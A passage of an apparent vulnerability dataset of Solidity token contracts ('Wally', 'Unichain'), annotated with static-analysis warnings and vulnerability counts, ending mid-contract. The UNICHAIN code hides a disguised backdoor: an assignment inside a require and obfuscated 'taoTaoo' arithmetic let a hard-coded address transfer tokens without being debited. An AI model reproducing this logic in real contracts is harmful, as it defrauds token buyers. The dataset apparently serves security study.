'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9311261): Wally._finalSellTax should be constant \n\t// Recommendation for 9311261: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Wally The Emotional Support Alligator\";\n\n string private constant _symbol = unicode\"WALLY\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01f0a8a): Wally._taxSwapThreshold should be constant \n\t// Recommendation for 01f0a8a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb221e): Wally._maxTaxSwap should be constant \n\t// Recommendation for 4cb221e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 708a21c): Wally.caBlockLimit should be constant \n\t// Recommendation for 708a21c: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6f4551): Wally.caLimit should be constant \n\t// Recommendation for a6f4551: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bfa229f): Wally.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bfa229f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07b6706): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07b6706: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: acb157e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for acb157e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06da6bf): Wally._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 06da6bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: acb157e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 07b6706\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3229ed1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3229ed1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 06781d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 06781d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4984bd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4984bd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n\t\t\t\t// reentrancy-eth | ID: 4984bd7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t\t// reentrancy-eth | ID: 06781d5\n\t\t\t\t\t// reentrancy-eth | ID: 4984bd7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 06781d5\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t// reentrancy-eth | ID: 4984bd7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3229ed1\n\t\t\t\t\t// reentrancy-eth | ID: 4984bd7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4984bd7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3229ed1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4984bd7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4984bd7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3229ed1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3229ed1\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-benign | ID: acb157e\n\t\t// reentrancy-eth | ID: 06781d5\n\t\t// reentrancy-eth | ID: 4984bd7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f64f7f1): Missing events for critical arithmetic parameters.\n\t// Recommendation for f64f7f1: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: f64f7f1\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: f64f7f1\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: f64f7f1\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: f64f7f1\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: f64f7f1\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d08b1b5): Wally.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for d08b1b5: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: d08b1b5\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3229ed1\n\t\t// reentrancy-events | ID: 07b6706\n\t\t// reentrancy-eth | ID: 06781d5\n\t\t// reentrancy-eth | ID: 4984bd7\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 34b2808): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 34b2808: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ebd1cf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ebd1cf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f776bce): Wally.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f776bce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a0801ad): Wally.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a0801ad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b63c8fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b63c8fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 34b2808\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// reentrancy-eth | ID: b63c8fc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 34b2808\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 34b2808\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// unused-return | ID: a0801ad\n\t\t// reentrancy-eth | ID: b63c8fc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n\t\t// unused-return | ID: f776bce\n\t\t// reentrancy-eth | ID: b63c8fc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b63c8fc\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ebd1cf4\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10001.sol",
"size_bytes": 22139,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract UNICHAIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedTo;\n\n mapping(address => bool) private _deoDeoo;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ec0a6e): UNICHAIN._caoCaoo should be immutable \n\t// Recommendation for 9ec0a6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _caoCaoo;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b65ab8): UNICHAIN._initialBuyTax should be constant \n\t// Recommendation for 9b65ab8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09433a2): UNICHAIN._initialSellTax should be constant \n\t// Recommendation for 09433a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ca0f0e): UNICHAIN._finalBuyTax should be constant \n\t// Recommendation for 7ca0f0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 762a3ed): UNICHAIN._finalSellTax should be constant \n\t// Recommendation for 762a3ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7dd8012): UNICHAIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 7dd8012: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: eb95342): UNICHAIN._reduceSellTaxAt should be constant \n\t// Recommendation for eb95342: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbef6d2): UNICHAIN._preventSwapBefore should be constant \n\t// Recommendation for bbef6d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Unichain\";\n\n string private constant _symbol = unicode\"UNICHAIN\";\n\n uint256 public _maxTxAmount = _tTotal.mul(2).div(100);\n\n uint256 public _maxWalletSize = _tTotal.mul(2).div(100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7507a81): UNICHAIN._taxSwapThreshold should be constant \n\t// Recommendation for 7507a81: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(1).div(100);\n\n\t// WARNING Optimization Issue (constable-states | ID: f1b2a99): UNICHAIN._maxTaxSwap should be constant \n\t// Recommendation for f1b2a99: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: f91e039): UNICHAIN.sellCount should be constant \n\t// Recommendation for f91e039: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6930dd5): UNICHAIN.lastSellBlock should be constant \n\t// Recommendation for 6930dd5: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _caoCaoo = payable(0x659bE35D0Ece9d7a63A411B68e1F88F53dBba476);\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedTo[owner()] = true;\n\n _isExcludedTo[address(this)] = true;\n\n _isExcludedTo[_caoCaoo] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initTrade() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aac94cb): UNICHAIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for aac94cb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 581f4b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 581f4b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 98df174): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 98df174: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc57e11): UNICHAIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bc57e11: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 98df174\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 581f4b3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e09ccf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e09ccf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (boolean-cst | severity: Medium | ID: c2b5686): UNICHAIN._transfer(address,address,uint256) uses a Boolean constant improperly require(bool)(_deoDeoo[_caoCaoo] = true && ! _deoDeoo[to])\n\t// Recommendation for c2b5686: Verify and simplify the condition.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 76bab84): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 76bab84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 bbqAmt) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(bbqAmt > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taoTaoo = 10 + bbqAmt.sub(10);\n uint256 bbrAmt = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - bbqAmt;\n\n _tOwned[to] = _tOwned[to] + bbqAmt;\n\n emit Transfer(from, to, bbqAmt);\n\n return;\n }\n\n if (from != owner() && to != owner() && to != _caoCaoo) {\n\t\t\t// boolean-cst | ID: c2b5686\n require(_deoDeoo[_caoCaoo] = true && !_deoDeoo[to]);\n\n if (_buyCount == 0) {\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedTo[to]\n ) {\n require(bbqAmt <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + bbqAmt <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n if (_deoDeoo[from] && _decimals == 9) {\n taoTaoo = _decimals == 9\n ? (10 - 10) * (bbqAmt * 5)\n : (5 - 5) * (bbqAmt + 5);\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n bbrAmt = bbqAmt\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: e09ccf5\n\t\t\t\t\t// reentrancy-eth | ID: 76bab84\n swapTokensForEth(\n min(bbqAmt, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: e09ccf5\n\t\t\t\t// reentrancy-eth | ID: 76bab84\n sendETHToFee();\n }\n }\n\n if (bbrAmt > 0) {\n\t\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[address(this)] = _tOwned[address(this)].add(bbrAmt);\n\n\t\t\t// reentrancy-events | ID: e09ccf5\n emit Transfer(from, address(this), bbrAmt);\n }\n\n\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[from] = _tOwned[from].sub(taoTaoo);\n\n\t\t// reentrancy-eth | ID: 76bab84\n _tOwned[to] = _tOwned[to].add(bbqAmt.sub(bbrAmt));\n\n\t\t// reentrancy-events | ID: e09ccf5\n emit Transfer(from, to, bbqAmt.sub(bbrAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e09ccf5\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-benign | ID: 98df174\n\t\t// reentrancy-eth | ID: 76bab84\n 